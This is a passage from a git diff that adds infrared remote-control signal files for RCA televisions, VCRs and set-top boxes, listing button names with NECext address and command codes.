b/assets/resources/infrared/_CSV-IRDB_/RCA/TV/14,-1.ir new file mode 100644 index 000000000..a598d66cb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/TV/14,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/TV/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/TV/15,-1.ir new file mode 100644 index 000000000..a43049050 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/TV/15,-1.ir @@ -0,0 +1,428 @@ +Filetype: IR signals file +Version: 1 +# +name: ANTENNA +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: ANTENNA +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: PIP_FREEZE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0C 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: PIP_MOVE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 14 00 00 00 +# +name: REC*VCR+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 17 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1A 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: PIP_ON_/_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: CHANNEL_-_PREVIOUS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: PREVIOUS_CHANNEL +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: CHANNEL_-_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: CHANNEL_-_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: VOLUME_-_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_-_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: VOLUME_-_MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: COMMERCIAL_SKIP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_-_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 56 00 00 00 +# +name: CURSOR_-_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 57 00 00 00 +# +name: CURSOR_-_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 58 00 00 00 +# +name: CURSOR_-_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 59 00 00 00 +# +name: SOUND +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 5A 00 00 00 +# +name: SRS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 5A 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 64 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 65 00 00 00 +# +name: INPUT_SOURCE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: C3 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: C3 00 00 00 +# +name: CHANNEL_CONTROL +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: E5 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/TV/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/TV/7,-1.ir new file mode 100644 index 000000000..1271da354 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/TV/7,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir new file mode 100644 index 000000000..3e6c7e270 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 09 00 00 00 +# +name: Power +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0C 00 00 00 +# +name: Mute +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 0D 00 00 00 +# +name: Vol_Up +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 10 00 00 00 +# +name: Vol_Down +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 11 00 00 00 +# +name: Ch_Up +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 20 00 00 00 +# +name: Ch_Down +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 21 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 43 00 00 00 +# +name: Plus +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 4C 00 00 00 +# +name: Up +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 58 00 00 00 +# +name: Down +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 59 00 00 00 +# +name: Left +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5A 00 00 00 +# +name: Rigth +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5B 00 00 00 +# +name: Ok +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 5C 00 00 00 +# +name: Menu +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 66 00 00 00 +# +name: Red +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 6D 00 00 00 +# +name: Green +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 6E 00 00 00 +# +name: Yellow +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 6F 00 00 00 +# +name: Blue +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 70 00 00 00 +# +name: Back +type: parsed +protocol: NECext +address: 27 00 00 00 +command: 83 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CB 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 27 00 00 00 +command: CC 00 00 00 +# +name: i +type: parsed +protocol: NECext +address: 27 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir new file mode 100644 index 000000000..e8555f71f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 31 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 32 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 33 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 56 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 57 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 59 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 61 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir new file mode 100644 index 000000000..768df70d5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: Antenna +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: Presets +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: GoBack +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 53 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 56 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 57 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 58 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 59 00 00 00 +# +name: Sound +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 5A 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 80 00 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: A3 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir new file mode 100644 index 000000000..c91d74f88 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: reset +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: setup- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 18 00 00 00 +# +name: KEY_PC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 30 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 31 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 32 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 33 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 34 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 35 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 36 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 38 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 39 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3A 00 00 00 +# +name: off +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3B 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: vid+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 64 00 00 00 +# +name: setup+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 65 00 00 00 +# +name: vid- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: E2 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir new file mode 100644 index 000000000..95f8ec920 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 09 00 00 00 +# +name: sair +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0B 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0E 00 00 00 +# +name: ajuda +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 10 00 00 00 +# +name: voltar +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 12 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 13 00 00 00 +# +name: net_tv +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 15 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 16 00 00 00 +# +name: violet +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 16 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 17 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 18 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1B 00 00 00 +# +name: rigth +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1D 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 1F 00 00 00 +# +name: musica +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 20 00 00 00 +# +name: mosaico +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 21 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 23 00 00 00 +# +name: portal +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 24 00 00 00 +# +name: opcoes +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 26 00 00 00 +# +name: ppv +type: parsed +protocol: NECext +address: 87 5E 00 00 +command: 28 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir new file mode 100644 index 000000000..3972d6133 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: GO_BACK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: LEFT_ARROW +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: RIGHT_ARROW +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: F4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir new file mode 100644 index 000000000..b35055736 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/VCR/14,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 05 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0A 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 15 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 17 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 19 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1F 00 00 00 +# +name: F._ADV +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 34 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 35 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 36 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 37 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 38 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 39 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3A 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3B 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 3C 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 46 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 47 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir new file mode 100644 index 000000000..ac930bd17 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/RCA/VCR/15,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: 